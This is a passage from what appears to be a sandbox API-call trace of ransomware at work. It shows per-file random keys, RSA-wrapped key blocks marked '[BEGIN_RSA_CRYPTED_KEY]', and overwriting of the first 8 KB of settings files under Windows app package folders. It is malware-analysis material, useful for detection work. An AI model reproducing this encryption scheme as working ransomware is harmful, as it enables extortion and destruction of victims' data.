pszString="t924eyf/ThsJ5h+IuD5Cfn3pVekLPlSYBPA7DzYVlC0kjjjDSA5wOuho7cWh9mI3\niQDKDKYNmoCxGRCj0n13UIiTA7FUQO+94XfXN5Q2Un98xdsYihqdalGDxyTaqOej\n5kKGH67N/lFXFJ7JwZxd6TosP3HFTjA+IowyOdVaZEUazF9TzwreHHZiUc+mqrMa\n8B4snlM5eYNOUtBHtPXU8erdh4Jo3b9Gkcgw787FbHCvlhA9sPUnw1wKRUVvxjGy\nVQcPlR8xJBA6ui72EuX7L1M+d7ERzkaPCiRYPK9YLzbBQEwCqBPM2psz/m6bx1Ey\ndLGtGb16aEWIJi8DYtCRuA==\n", pcchString=0x2e3f9a8) returned 1 [0203.562] WriteFile (in: hFile=0x12f4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.562] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.562] WriteFile (in: hFile=0x12f4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.562] CloseHandle (hObject=0x12f4) returned 1 [0203.564] WriteFile (in: hFile=0x1300, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.565] CloseHandle (hObject=0x1300) returned 1 [0203.566] WriteFile (in: hFile=0x1300, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.567] CloseHandle (hObject=0x1300) returned 1 [0203.567] WriteFile (in: hFile=0x1300, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.568] CloseHandle (hObject=0x1300) returned 1 [0203.568] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.568] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0203.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6689c8 [0203.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0203.569] ReadFile (in: hFile=0x1314, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.569] SetFilePointer (in: hFile=0x1314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.569] WriteFile (in: hFile=0x1314, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.570] SetFilePointer (in: hFile=0x1314, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.570] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.570] WriteFile (in: hFile=0x1314, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.571] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.571] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.571] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.571] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="48DPy4JStB9QBhgELorBYGtD3yYZ19QalMCPc+fpF4mv2D0uBguS5tbhByV9GRDL\nYTtMhvATpcLVH27aoiENLPrYWD0X1rzQprlGZgjZmNunWf4WbcRXMA9oljEOUEw3\nuBRoxopL7FRi0DDm+m+kG1MgFn+Tj87w5QoxgV3hPfIRof33L80Tqrz9UNK3KikN\nyeNHvoUM2gESGG5Q4DJxbn+/GbPI5K/9h3+136Uw5KP7RuZn4k4xZMvItlKfUAVB\niw0YIwVO0KmxE8juU+NC0L9R2GR00vo2i3ZMSDQIRYSSrpTwMaMXeLqOY4g+WPND\n4OfnltJfdHIXar23fuMvsw==\n", pcchString=0x2e3f9a8) returned 1 [0203.571] WriteFile (in: hFile=0x1314, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.571] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.571] WriteFile (in: hFile=0x1314, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.572] CloseHandle (hObject=0x1314) returned 1 [0203.573] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.573] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0203.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669748 [0203.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0203.574] ReadFile (in: hFile=0x1314, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.589] SetFilePointer (in: hFile=0x1314, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.589] WriteFile (in: hFile=0x1314, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.590] SetFilePointer (in: hFile=0x1314, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0203.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.590] WriteFile (in: hFile=0x1314, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.590] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.590] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.590] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FPT8p1ChVlXzhYfuFMHyZu6SHj+++FXgEBmrng2YgrdSOwpwcflotqgT3FwrawI8\n3x6gi7dk6nokzzjj9sjqtk051N6sg2UauHhn0/wWFijxxxW2sRzpGTuLeFicldPC\nkWr080ylipLXDM+ISYUX+X+fclx839PK8NlIDdcNdUltOOGlGkzeuDJLveo4PaFq\nYvhocUFQ3OqLqYUWiCHYfo/K0hpug0WBxS7rNXc9G7jfQHO7V4p24KX/ohLFR+9X\nrBaHx7g/gfc1CG/3+wZIQZniovJqo8gajQNIUI0lhWP3APnRY3AXn4uLdjib0rYj\nF4mM2iL7Oweg7uMZAeuohg==\n", pcchString=0x2e3f9a8) returned 1 [0203.590] WriteFile (in: hFile=0x1314, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.591] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.591] WriteFile (in: hFile=0x1314, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.591] CloseHandle (hObject=0x1314) returned 1 [0203.592] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.592] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0203.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0203.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60dae8 [0203.593] ReadFile (in: hFile=0x1314, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.742] SetFilePointer (in: hFile=0x1314, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.742] WriteFile (in: hFile=0x1314, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0203.743] SetFilePointer (in: hFile=0x1314, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0203.743] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.743] WriteFile (in: hFile=0x1314, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.743] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EdxBp4ow6K2n/nfHR3Muh9Xd6Lz2EJ2+wGLeLXG6Ew/P2dA8AqyydVwqLd2Z0928\npZboT0yYy6xMZGSoR8KkvLi8pJ29lExE4TbbgvOvk/yq04DIgSTQmdef8VLEyORb\nKZjlKXgRQ7zqMzDPsCDSlxXEJ3HjdQKpeHuPwjVhvXMW3GAcsM3vjrpQRnkJ0Y2S\nF3PSM51nqV74fcNV+b5gDA97W66H1Mn4MTfB2TlyXUk2goQj+4mdR8tfDFdFg4pD\ngkLmj0oI7G5XlpRUC/goihH7637X11ROgshcR6ggB9wC4by47wpm1Dyw5aOIgo56\nanIhqqULcd4+/vEK1WeyIw==\n", pcchString=0x2e3f9a8) returned 1 [0203.744] WriteFile (in: hFile=0x1314, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.744] WriteFile (in: hFile=0x1314, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.744] CloseHandle (hObject=0x1314) returned 1 [0203.745] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0203.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664dc8 [0203.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e300 [0203.746] ReadFile (in: hFile=0x1314, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.746] SetFilePointer (in: hFile=0x1314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.746] WriteFile (in: hFile=0x1314, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.746] SetFilePointer (in: hFile=0x1314, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.746] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.746] WriteFile (in: hFile=0x1314, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.747] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.747] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kx32kHGjD7XvbK0pCGQn56+bkWV2AcQdFkniIkVDD4rsNoLLPKgiBhSNkMZRGyM0\nWKunWK1m0iXVN5JjraGMHchJrV9G7ej2BYsDP8X0GDhmAMBfELQvebfUrSCeUxFd\nu4ZZknpqTwinX7BWpdBgYOpQL5kuK8miRluicG1txXlChaV4hWwBpd2FPf4XJRFV\nxjr5sD07BWdWUY/mH7eNpdK/ArO4/69g3y/+Fzwr/svETORUDAYK9Xlt7mp9Ie3T\n/7GVtBFWtOLMWac1WgLhTualI5NNAbSS/uRICgjx38LwLABa8neDuAxGyNkT4A8f\npmDPKiXfgsWU8Xj8GO4BAA==\n", pcchString=0x2e3f9a8) returned 1 [0203.748] WriteFile (in: hFile=0x1314, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.748] WriteFile (in: hFile=0x1314, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.748] CloseHandle (hObject=0x1314) returned 1 [0203.750] WriteFile (in: hFile=0x1320, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.751] CloseHandle (hObject=0x1320) returned 1 [0203.752] WriteFile (in: hFile=0x1320, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.753] CloseHandle (hObject=0x1320) returned 1 [0203.753] WriteFile (in: hFile=0x1320, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0203.754] CloseHandle (hObject=0x1320) returned 1 [0203.755] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.755] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0203.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6631b0 [0203.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0203.756] ReadFile (in: hFile=0x1334, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.756] SetFilePointer (in: hFile=0x1334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.756] WriteFile (in: hFile=0x1334, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.756] SetFilePointer (in: hFile=0x1334, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.756] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.756] WriteFile (in: hFile=0x1334, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.757] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.757] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.757] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.758] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="O+Bsl3j+55mmdpfWYHn6aajJT0/xvXzW60puyMTD8ujKyUlg7tU8aWkwplQyxpI4\nhReu4gftUWz9hK0RNXcKUPgi/2bHNg0o5a0Cc8zXEUoDOZf7PxV01/lnyb/jPOXZ\ny6sqNFqRLC0tLjH2YDAdD5bo/hYJ5GwlOy+yGgKfIbDuyiNN9QQo11ywl4KK2nFK\nRugUrXVu+0ApLVH6gL1OCmijuWmwcgzt7CquTa4YUYvp3CCh09he0sKaU7/sEJ9o\nb6CXysLQamwccWNq3EBErpieV25FZrpyHVlb69B/jzLtqau8IKW42HWDoNYvR5z4\nIdq/PqQVJEv66IyVTOKrtA==\n", pcchString=0x2e3f9a8) returned 1 [0203.758] WriteFile (in: hFile=0x1334, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.758] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.758] WriteFile (in: hFile=0x1334, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.758] CloseHandle (hObject=0x1334) returned 1 [0204.069] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0204.069] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0204.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0204.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0204.070] ReadFile (in: hFile=0x1334, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0204.071] SetFilePointer (in: hFile=0x1334, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.071] WriteFile (in: hFile=0x1334, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0204.071] SetFilePointer (in: hFile=0x1334, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0204.072] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.072] WriteFile (in: hFile=0x1334, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.072] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0204.072] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0204.072] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0204.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0204.072] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 